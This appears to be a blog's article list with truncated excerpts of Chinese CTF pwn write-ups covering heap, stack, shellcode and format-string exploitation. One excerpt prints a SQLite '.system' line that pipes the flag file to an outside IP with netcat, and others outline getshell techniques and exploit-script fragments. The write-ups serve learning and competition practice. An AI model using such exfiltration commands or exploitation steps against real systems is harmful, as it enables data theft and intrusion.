文章列表

14k 13 分钟

# YCBSQL 远程是上传一个 sql 文件,题目提示用 nc 带出 flag。 优先考虑 sqlite 自带的.system 函数(抱着试一试的想法),然后找 web 手要了个 vps 监听,莫名其妙就出了。 sql 文件内容: 1.system nc 1.117.171.248 9997 </flag # fakeNoOutput 是个 httpd。最后三分钟做出来了。 协议格式逆了半天,有个栈溢出在 upload 里,触发溢出的条件: HTTP_SERVER1_token 是系统随机生成的,得写对。token 记得用 \x00 截断 开头得有个 POST...
7.6k 7 分钟

# Pwn # gift 程序保护全开 程序功能: add:最多只能申请十次堆块,每次申请大小为 0x60 或 0x100,往里写内容的时候是往 user_data +0x10 处写。 delete:有 UAF show:可泄露 bargain:可以用来控制 fd。并且类型为 int,比较类型也是有符号比较,所以可以减 0x10 范围内的数字,或者加 int(4 字节内)的数字。 因为这道题 idx 太少了,直接 free 掉 7 个 chunk 填满 tcache_list 不可行,所以我是通过 bargain 函数修改 fd 指针到一个 fake_chunk ,这个...
35k 31 分钟

# Pwn # challenge UserManager 菜单题 musl 二叉树 add 里面有 uaf。 连续两次 id 一样。 用的 calloc,得想办法 leak。 堆风水先把 avail chunk 给消耗完。再 free user。 再分配的时候就可以完成用 user 占位 name。然后用 name 来 leak libc 和 elf base 再用 name 反过来占位 user,写 secret 的地址就可以 leak 出 secret。 dequeue 打类似 unlink 攻击,打 io file,fsop。堆风水,注意到 parent...
7.8k 7 分钟

# pwn # eyfor buf 可以覆盖 seed,覆盖之后直接可以生成随机数。猜数成功之后可以进入一个栈溢出: 程序自带 system 函数,同时会将 payload strcpy 到 bss 段上,因此可以在 payload 中附带 /bin/sh 之后直接调用 system ("/bin/sh") getshell。 exp: 123456789101112131415161718from pwn import *import ctypescontext.terminal =...
6.3k 6 分钟

# DSCTF pwn 部分 wp 原谅我懒,不想附图了,客官老爷们多包涵。 拿了第七: 出了两道 pwn: # fuzzerinstrospector Case 6 有带 rdi 的任意指针调用,只要泄露 libc 即可。 rdi 指向的内容可控。 add 函数和 edit 函数功能相似。add 函数 malloc 指定大小 0x108。 前八个字节是自己写进的东西,后面字节是类似于一个字典的东西。通过字典才能打印。 可以先 free 掉七个堆块进入 tcache 填满,然后 delete 堆块进入 unsortedbin。 不过申请 unsortedbin 的时候,他似乎会先检查符合...
4.1k 4 分钟

第一题的第五个解出: 第二题的三血 总体难度偏简单。 # EscapeShellcode 清空了所有寄存器(设置为 0xdeadbeefdeadbeef),包括 rsp。 flag 读到了 bss 段上。 seccomp 只允许调用 read 和 write。这里我只用到了 write。 利用的主要是: write,read 函数遇到不可读写的区域,会返回 < 0 的值,且不会令程序崩溃。 首先利用 syscall 会给 rcx 赋值的特性,将 rip 的值赋给 rcx。 将 rcx 赋给 r8 r8 减去一个很大的偏移,令他小于 codebase,将 r8 赋给...
1.9k 2 分钟

一道简单 fmt 题,但是我搜解题记录时,觉得解得都挺复杂的。 似乎还没有文章用我的方法,那我就写一种简单的解法。 # 绕过 fmt 判断条件 我只用到了 fmt_attack 函数。 由于有一个判定条件: 12345678910111213141516unsigned __int64 __fastcall fmt_attack(int *a1){ char format[56]; // [rsp+10h] [rbp-40h] BYREF unsigned __int64 v3; // [rsp+48h] [rbp-8h] v3 = __readfsqword(0x28u);...
5k 5 分钟

# Tcache Tcache 是 glibc 2.26 之后引入的机制,与 glibc 2.23 版本下堆利用方式有一定区别,产生了新的利用方式。 # 0x1 相关结构体 # tcache_entry 1234typedef struct tcache_entry{ struct tcache_entry *next;} tcache_entry; tcache_entry 用来链接空闲的 tcache chunk,其中的 next 指针指向下一个大小相同的空闲 tcache chunk。 注意:这里的 next 指针指向的是 user data...
6.2k 6 分钟

# 前言 当堆题保护全开的时候。PIE 保护几乎使得 unlink 失效(除非能够计算出程序基址),FULL RELEO 也使得函数 GOT 表不可修改。此时常覆盖各种函数的 hook 为 one_gadget 来 getshell。 我常考虑的顺序是: free_hook -> malloc_hook -> IO_FILE -> exit_hook 若有沙盒限制,则考虑 setcontext 当 free_hook 不可打时(例如 Fastbin Attack 时 free_hook 前不能构造字节错位),我们往往就会打 malloc_hook...
12k 10 分钟

前段时间的极客大挑战 2021 和 2021 年的 SCU 新生赛,最后一道题都没有做出来,作为一枚大二学长确实应该反省一下自己了。太菜了呜呜呜。极客大挑战因为打太久了,题目都快忘记了,就不写 wp 了。 # ret2text 简单的栈溢出,pwn 里的 hello world。 12345678from pwn import *r = process("/mnt/hgfs/ubuntu/stackoverflow")elf = ELF("/mnt/hgfs/ubuntu/stackoverflow")payload =...